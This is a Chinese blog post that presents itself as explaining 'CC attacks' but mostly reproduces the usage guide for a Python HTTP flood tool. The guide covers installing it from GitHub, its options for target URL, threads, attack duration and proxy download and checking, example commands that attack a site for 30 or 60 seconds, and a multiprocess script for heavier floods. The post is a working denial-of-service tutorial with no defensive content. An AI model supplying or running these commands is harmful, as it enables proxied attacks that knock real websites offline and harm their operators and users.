什么是CC攻击(附教程)
文章目录
CC攻击
使用 socks4/5 或 http 代理攻击 http(s) 服务器的脚本。
消息:
- 添加了对 HTTP 代理的支持
- 添加了更多代理 api 以供下载
信息:
- 使用 Python3
- 添加了更多类似人类的选项
- Http Get/Head/Post/Slow Flood
- 随机 Http 标头/数据
- Socks4/5 代理下载器
- Socks4/5 代理检查器
- 自定义 Cookie
- 自定义帖子数据
- 支持HTTPS
- 支持袜子4/5
在 vps 上使用 multiproc.sh 和 socks4
![](https://www.ooize.com/assets/uploads/2022/05/68747470733a2f2f692e696d6775722e636f6d2f4b4c4a495a73382e706e67-1024x325.png)
安装
pip3 install requests pysocks
git clone https://github.com/Leeon123/CC-attack.git
cd CC-attack
用法
python3 cc.py <arguments>
=============== CC-attack help list ===============
-h/help | showing this message
-url | set target url
-m/mode | set program mode
-data | set post data path (only works on post mode)
| (Example: -data data.json)
-cookies | set cookies (Example: 'id:xxx;ua:xxx')
-v | set proxy type (4/5/http, default:5)
-t | set threads number (default:800)
-f | set proxies file (default:proxy.txt)
-b | enable/disable brute mode
| Enable=1 Disable=0 (default:0)
-s | set attack time(default:60)
-down | download proxies
-check | check proxies
=====================================================
一些使用示例
将 socks5 代理下载为 proxy.txt:
python3 cc.py -down -f proxy.txt -v 5
使用自定义代理列表(socks4.txt)攻击目标 30 秒:
python3 cc.py -url http://websitet.com -f socks4.txt -v 4 -s 30
multiproc.sh 的使用
This script is using for increasing the performance of cc.py.
Due to the suck performance of python since it has a GIL lock,
And I am lazy to make a multiprocess version.
There is a option for linux user to increase their performance of cc.py
This script basicly just run cc.py multiple times to make it "multi-processing"
First, put this script and cc.py in the same folder.
Then prepare the proxies list by yourself or just run "python3 cc.py -down -v 4" (-v socks version)
After that, change the number of process.
At last, change atk_cmd to your command and run the script by "bash multiproc.sh"
multiproc.sh 的示例设置(-v socks 版本)(-s 攻击时间)
atk_cmd="python3 cc.py -url http://target.com -v 4 -s 60"
#number of process that you want
process=10
温馨提示 : 非特殊注明,否则均为©李联华的博客网原创文章,本站文章未经授权禁止任何形式转载;IP地址:3.135.187.227,归属地:俄亥俄州Dublin ,欢迎您的访问!
文章链接:https://www.ooize.com/what-cc-attack.html
文章链接:https://www.ooize.com/what-cc-attack.html
订阅
登录
0 评论